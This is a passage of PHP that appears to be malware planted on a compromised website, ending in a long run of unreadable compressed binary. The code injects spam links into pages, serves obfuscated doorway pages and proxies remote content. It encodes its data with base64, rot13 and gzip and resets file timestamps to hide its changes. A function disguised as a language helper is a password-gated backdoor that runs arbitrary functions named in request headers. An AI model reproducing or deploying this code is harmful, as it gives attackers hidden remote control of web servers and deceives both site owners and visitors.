/i',$content)) {
$content=preg_replace('/(
)/is', "$1$links_content", $content, 1);
}
elseif (preg_match('/<\/body>/i',$content)) {
$content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content);
$content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1);
}
} else {
if (sizeof($matches)<$linksCount){
$difference = $linksCount - sizeof($matches);
for ($i=0; $i<$difference; $i++){
$matches[] = $matches[0];
}
}
for ($i=0; $i<$linksCount; $i++){
if (rand(0,9) == 0) {
$link = ''.$links2[$i]['url'].'';
} else {
$link = ''.$links2[$i]['keyword'].'';
}
$link = ''.$links2[$i]['keyword'].'';
$content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content);
}
}
if($deflated)
$content = gzencode($content);
$clen = strlen($content);
@header("Content-Length: $clen");
return $content;
}
function get_server_var($var = ''){
if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){
return $_SERVER[$var];
} else if ( function_exists('getenv') && getenv($var)){
return getenv($var);
} else {
return '';
}
}
function get_hostname($remove_www = false){
$server_host = get_server_var('HTTP_HOST');
if ( empty($server_host) ){
$server_host = get_server_var('SERVER_NAME');
}
if ( $remove_www ){
$server_host = preg_replace('#^www\.#i', '', $server_host);
}
return $server_host;
}
function showDoorPage($page_file){
$src = decompress(@file_get_contents($page_file));
if (strlen($src) > 0){
if (substr($src,0,5) == '%PDF-'){
@header('Content-Type: application/pdf');
}
}
echo $src;
exit;
}
function decompress($data){
return @gzinflate(@str_rot13(@base64_decode($data)));
}
function compress($data){
return @base64_encode( @str_rot13( @gzdeflate( $data ) ) );
}
function redirect($url, $user_agent, $cache_dir){
$no_shop_download = FALSE;
$cache_lifetime = 172800;
@ini_set('user_agent', $user_agent);
$location = getRedirectLocation($url, $user_agent);
if($location === FALSE || strlen($location)<5){
safeRedirect($url);
} else if ($no_shop_download){
safeRedirect($location);
}
$cache_file = $cache_dir.md5($location);
if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){
if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){
if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){
if ( $cache_data['time'] + $cache_lifetime > time() ){
if ($html = decompress($cache_data['html'])){
send_nocache_headers();
echo $html;
echo '';
exit;
}
}
}
}
}
$html = fetchRemoteFile($location);
if($html===false || @strlen($html)<10){
safeRedirect($location);
}
$baseTag = "";
if (preg_match('//i',$html)){
$html=preg_replace('/()/i', "$1$baseTag", $html, 1);
} else if (stripos($html,'')!==false){
$html = str_ireplace('', $baseTag."\n".'', $html);
} else {
echo ''.$baseTag.'';
}
$cache_data = array(
'time' => time(),
'html' => compress($html)
);
$cache_dir_time = @filemtime($cache_dir);
@file_put_contents($cache_file, compress( @serialize($cache_data) ) );
@touch($cache_dir, $cache_dir_time);
@touch($cache_file, $cache_dir_time);
send_nocache_headers();
echo $html;
exit;
}
function safeRedirect($url){
send_nocache_headers();
if (!headers_sent()){
header("Location: $url");
} else {
echo "";
echo "";
echo '';
}
exit;
}
function addRemoteIp($ip, $url){
$url_parsed = parse_url($url);
if (isset($url_parsed['query']))
return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip;
else
return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ;
}
function send_nocache_headers(){
if (!headers_sent()){
@header('Cache-Control: no-cache, no-store, must-revalidate');
@header('Pragma: no-cache');
@header('Expires: 0');
}
}
function get_user_language(){
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){
$language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']);
$accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a';
if ($language_code == $accepted_languages){
return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']);
} else {
return false;
}
}
}
function getRedirectLocation($url, $user_agent){
if (function_exists('curl_init') && $ch = @curl_init($url)){
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
@curl_setopt($ch, CURLOPT_HEADER, TRUE);
@curl_setopt($ch, CURLOPT_NOBODY, TRUE);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($response = @curl_exec($ch)){
if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){
@curl_close($ch);
return $redirect_location;
} else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){
@curl_close($ch);
return trim($match[1]);
}
}
@curl_close($ch);
}
if (function_exists('get_headers')){
if ($headers = @get_headers($url, true)){
if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){
$redirect_location = $headers['Location'];
if (sizeof($redirect_location)>1){
$redirect_location = $redirect_location[sizeof($redirect_location)-1];
}
return $redirect_location;
}
}
}
return FALSE;
}
function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') {
if (function_exists('curl_init')){
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, $url);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
@curl_setopt($ch, CURLOPT_COOKIE, $sendCookies);
$data = @curl_exec($ch);
@curl_close($ch);
if ($data) {
return $data;
}
}
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){
$opts = array(
'http' => array(
'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}"
)
);
$context = stream_context_create($opts);
if ($data = @file_get_contents($url, false, $context)) {
return $data;
}
} else {
$urlParams = @parse_url($url);
$host = $urlParams['host'];
$path = $urlParams['path'];
if (isset($urlParams['query']))
$path .= '?'.$urlParams['query'];
$buff = '';
$fp = @fsockopen($host, 8888, $errno, $errstr);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
@fputs($fp, "Cookie: {$sendCookies}\r\n\r\n");
@fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("\r\n\r\n", $buff);
unset($page[0]);
return implode("\r\n\r\n", $page);
}
}
return false;
}
‹ í½Ù’䯱(øL~E0ÛØUE&2ä^ÕU<ÍfS$‡ÛeSÒÜKñ–!d&º‘@
@Vuu©®�™1;z3=œ‡cš'Í›úOΗŒ»GXsmJçµT'bñ-<<<<¶'8¡�Ü\¶H–þÕûOðæ[Áü²åÆ-fûV_¶‚P{ _^â.±ðek‘$«ø¼Û�í…»´:a4ï~ê‡s^$¶Ã•‹°\˹zÿ½'K7±˜½°¢ØM.[¿ýñsmÜJÓk ðn<÷vF `ƒÄ
Üç$‹KǽñlW£�6ó/ñ,_‹mËw/�6[BÊr½” 6ñß½ú6ŒÙ�{€ÂõÙ³·v¼7ìÙçìñ£±iì/NÂȳØôí_϶žty½÷²N¢p&ñIJÔÉÒzyKkîj«ÈE¢Ï}+š»'¬}/xÅ"׿׬uj±÷Æ�5´ð–h^ "r5;Ža,�2ç^|ú¹ÄÒÌû¹Í?ÿ'ˆÚ0äý|vŸUO"/ˆÁöb¡óž®ë«×Ìà?ïw?zÄâpÙîoøúr"ØGÝ÷¡7"á9[J)ñÂuÁ–C'bh¹†LhRG[…q# ijwo11æuWþz,ÉÑ«»�5àîæPå¿:€ø“7º4u³¯Æð„-]dz.O,ß?)· —žÆyÊ·Àûï�ˆ`ˆÐâ¥ç»wàÀ'g÷`œ/^ùÖÝ9ã•ØÞ½+H. w
CŸ�³ ¬ÈzÅË o+³®7_$çÌp—…rDª2–àxÁ9Ó™ÞÑG¥l�A_³|oÅ4½S†1ùΣp8•T,Çñ‚9âÈeT(V�Dóê”kƒ©Ú¯4ß›FVt—o„ó(“{MKKÅw�
mm‡~�?YºîÌ.jò5-šOÏ
ÓlëmÓì‰bÈ£(Ì¡ÜXÑi
„3^”úypcÅš"ªGŽãð"–þ –€KêJât}dOšlN›Þ6Ì~ÛëJ9VôÊ�4CGpéel,˜ÖGmc¨wj˜z`�GJЀÞËÁåêÎ]emÃ}|n‚Õùêzì‹€úkÂÎ�‰é¬¼³{¥qkÁ� zÀ~èr÷A›®“$îÁQŒAÌ«Ÿ=0ÖY@�Âß�:A7ÒÀ‘¼SŒst_L8äºn ò½5€ž�ÿm¢‚×Ü
_®hdïÆs ¤ëš}gAk…"�¾¦þÚE8ŽGÒJIU¨>Ç.fEi©ShOÇ�·A}܇‡“žÛ;S±®ÖÑÊ�ˆÖñb_ð½¾kº ¾?2�Ù”
ôÛ�¬©áÌܪ…õÅqì‹gfY¶5n?r,Gwíìx=uÖпCß»Ù[L3kf¹FûÑpd
GF¾•„KƒmЖ{ƒwœÑÄÂÖè[ƒI|€
…ÃÇÞ´÷zúd²é¶cÏrÀ—žH…ÝK{Lð}@,æxÔŸI±óŽS6˜ƒkÐ,úš “äŸÃÕë‹ÚB‹õÜ=ï£5!#w¾†yoVâ>ýu£/Dãê2fghd9N@e¹tP¨'üŒAw�µr²Gw—�Кí¢E»ÏRÎyJMqß�%jaü®)aëªe)�ó1ó*z»ðW‹Áãrσð6²VÙ�ÿðÈ›ìxo¬)X12´-û½tŠÐƒxè
ÁŒíƒÆœOÃdñС@�ör'Þ̃®HðÏ;éû�Ï|ü$˜«%å
f±Š�R©8çºpS.O¬kà�Þ‚…-ÕËå>t`ºŠvº;]\€0Œi(·s®(ŠÇ$üBýÂö½•¶²À¡×MNÁž]ßÏ€þ |:
Ã9šùà/.<ÇqƒéŒéàòz4¤ZS]Ýî$b-¢b
t½*‘QEõ9�·#º8µØ²"§ßï_È'ßé"×%;8˸À6>‡¡ü‚œ;‘ÃéJù1 Ÿ™=œµô¡$©©ãÚaD3_Ž: W†óI ߀Ë踯Ï
ÿó@aÄóÛ…¹§¤ØÂ«àݽø"ô„æ9¹?QÆÿ¼T+á¼S?ºl]¨é-5ƒåsvE|Õ"Kó**¹)RLÛ1uŽZÔJn%ò\~Šž§nI Ø2k)P³+IÈHiÉ[�êYKB–YI€š�¢§Ä-‘“.Wà¥ôJ”"g%«C–æÕ*YéÎJV‡ZÉmP²"ú}”¬Ž5»IÉŠ4ì¡du$d™õJVDߨdÞrþEZ?âá\9€ªªQÆ%1`èú‡¢âÌ›¯#÷ì^A:ÌùѳÊÙU/ÖäØxö«»3u"'çsà¨eåÂÙFºÌ-*å´µõÕë39w䳦‘)¹Cj/G" #dïBˆòÛ_;nܵã¸C]ÒÍÅ*( ÜÙ&ÄÁ!àèä3¯¬v1…7Ç••:W¢>•y(”Æ Õ=E˜¼78¤¦zúú¢¾á/
"®Õ²ð#OiÁ%B÷ÛYctd¢üÎî+ÐwÀKqï1::õ|/¹^K¥�xÞÞ[$Ð�ŸÒÏ¥:ýø¡XUöi`²ŽF€EáU—Yæ@¢ B^RÄCÞ8EØÅy…zñ–êªÎoÙ“¯,=[û~Yx´ê€Ò[kAT "B,¨ºP’©L!ŠL4A5Yd « ©YQ˜vƒ' �$c×±ªVõ›KÞ†b[âÜ
e5Æ{ñ/è�ãŠþy‘„&JÔ„¦X0‡°šÊéE¦ÂP¦zMe.w^›~çªëLBil1œÐ˜%�%D©*–êg’àNJbà¥Y†HÁ‰AgP&DzšíE0Õ–VüJôcÕLà?²Œ×+œ%ÅìôT»u§¯`VŒ580šƒœ±0ÂÁ(ŸÈSëª
å¶TéבzâX‰uNßÝøfŽËŸëd6n?�/†Û>
__¶hðÖéÿ-e‚˜¯ ‰å˜ÛíŸ0aÞ„PZWO89̆º¨bßñ#ú§{õ‹]�œ]ü3’³¡sXþja奖Β¹&^T&æjDîʵp~*~]T§æêдW,£]”RDDFz+uê@Soש²á¬²ÔYµër/"õé(Ÿ‚Ó8š ¡“J›‚Á‘Š�8^ă;À‰¿^YÌ�Öݼ·i³Ò¿ aõ‚†’çŒr|,bûáʲÑu0êjˆr<ªEñÙŽÀp"˜šÌ<\f>ŸúëèCŒg,¶’ud%î©1ÆhK)ÔͧÖé„Ö7àsp&ã5zÈË#yî.rÂC¬ ¾åEu êBr©7Ft¸}¤ iÉ� peñQœ°)ñ�}¸z'‘’½¬cÆÌµb÷¡¹uxD‰ÖÉa€º× úçß¡õì
q—ÊÈÆAE #ÞV²¤ôà{Båë‰!ý*,]l©g"6¶Séöäl(vÊžñß–�ý�ðÐVªÂgåÈ]³:çy@$ º5SUÏAðiœR×o<²§—ƒ”R‘gÞk×!EÕ/J³Åû,Æñªècy�ùaìjõ¦ ÐØyÛ†‘Ê™µôü;éþ_ÌÕù¸¾»ª‘Kã'“â£�½¿93ô™öh††¢®WÜË>uƒ›ÓØš¹n‚Ð(Ì�¢3ö1#ËEÒ«-™YI)Ä�¾�«Tws¥
]Þ\i_åVmq½"7Qkŧ¹GÜ?qÍü<ºŠb(§CN¡Ð:,|ÏmHI¡äÂç[T¬oN“eÁŽ Ý[Ⱦ\w‘V µfÜN=¨ô4®ìARÓMRtsoáÉöÞ[ˆ@~õKÝûÀ¹š)hõË7²hÑØXÍqsÚ9ýÂ�SÿýTÃŧ‡½¸µÑ¨©¾ù¨©¾“!Ù[ˆ0IÕ÷g’ªÍZæ»Õþm^²¢J¹�¦T)+-á’=2%y›œú:[�–>�3ìÕÉaªÍ17Î÷nŸû�ü‹ÝФ‚*„�— b¿n8NSx<›q
ùf›%Êþ°%ÎÄ"2˜±Zg3h�¸Úà‘½k“Ñ˲µD3c¨Ç(BÆ›º‘,*rVˆŒza*óñê�·Ê÷®šT’»\3ÆÊ~yž^fVgz•ÞÛä;êÛ�·¶l?eÄߪlmð¢Bþ[•ÚŽ%âšßÊRUYLnqàƒÞY׬.(³Ò9¶œ�µ xF7‹æz¸õ'«vÆèìi%E�qv†âhöÄã¬A4ÐaêdS¨®Ùªë3�W©\aËîDzÒÝ0ä2Å]±Ü‡+R•[`Ô=0´É³ÅÁ’ªóVÝ�>`?^p°NL ÚÜS†Ç»ræ®qßëú�¥Ý+îSÅÁ³7êÙU‹dÊQ,¾¹´jÇ©œ0SSu†C<`õ13qA‰’ŒN¯×KÓÔ-°ÃÌ/H#g××e¿Q©0REJ±K;”rBŽ7¶Éܧx¢½¢1ªvî[ñʵaêˆiZüÇ5hÇ93.šJõµÞ9ëw{�…zZÿœõºý
…L,d62�¹�1Ô&@÷°;i,6�‚çlÒ5†…bâüÖÔ‡š:ötÐD}®8?šÔ ”ôð»Ž1³›`«¥ùi§¦Òüð�L†[Ã#·mHK’¸šq.ºèf"Ý8Û¦²Y]Ùܪr¯ºro«ÊýêÊý*ª+¶ª<¬®<ܪò¨ºòh«ÊãêÊã*Oª+O¶ªlè5Z¢oW½NɶÓ2£FÍŒíǫ̂Q4c;M3jTÍØN׌e3JÚ–žf+�’LNÊþ]s²-šOO‡m£?j›æèŒ�¯‰)Æ`Ð�Ô?ÃMÖã-Z¿±jâ�ã!fÓÔÛÆXOÑëmS·�ž¾{…¹F
jLæÀíŒd`蔲Y&¨1§x$f}Ôîá›0âÎò¸Ü„º7n‹ÿgM?œ€ úmc2Ø„ÞCôß5˜/5ò0¢õ²á¨¸úØÞŠªmÃÄŸœ1S• 6ˆ /Ó€Ð~ŸkÅ0m#ƒd7úÇi è�Û£�â1�”¸ü¶è&ØP¦>†
õ@å ¨ïoTŽ�¼ukýz&`Ø2†Eûíþ þwF‡‹ 9HIoÍÔYǯ¶`±×6ÀN¦,N&hŒ‰™a‚yc'Ý„šÜ—Ðv7ÂÛ'ÜÞ1°K†‚Û{8Å06av}ÔG˜2@R7c×MÒÃTº�Ñ£Æ6Ì�j$Ï7ãhƒTÍI
¿Ï ]Ô´žr 6^Z¾_²lÊm¨�!pì•5ÕyvC}:q\[�rj¿–õñœó$Q3–¨ Íëf2E~xŨ ^ÁôN¿¹Ëº"=*25éC£!€ù�AC‰!”0;fS‘éuzã†"c(2èèÊ"д€ö‹‚R
W¯éÿø?íªÓÛLü¯Sr•dmÇuWÀ‰‰ÇYñÏ@¯¨]rudmø7Ze˜«êÖb{#�|uÇa�aòÏY;-Ä}
‚]ÙŽ¼¸LUVë¡¡)„oé1."k&¸oæàËڨ¸‚[[`FMÀbœ“Ù¸›¯ï/Ë7QË�¥)j“ïáIóÅzc%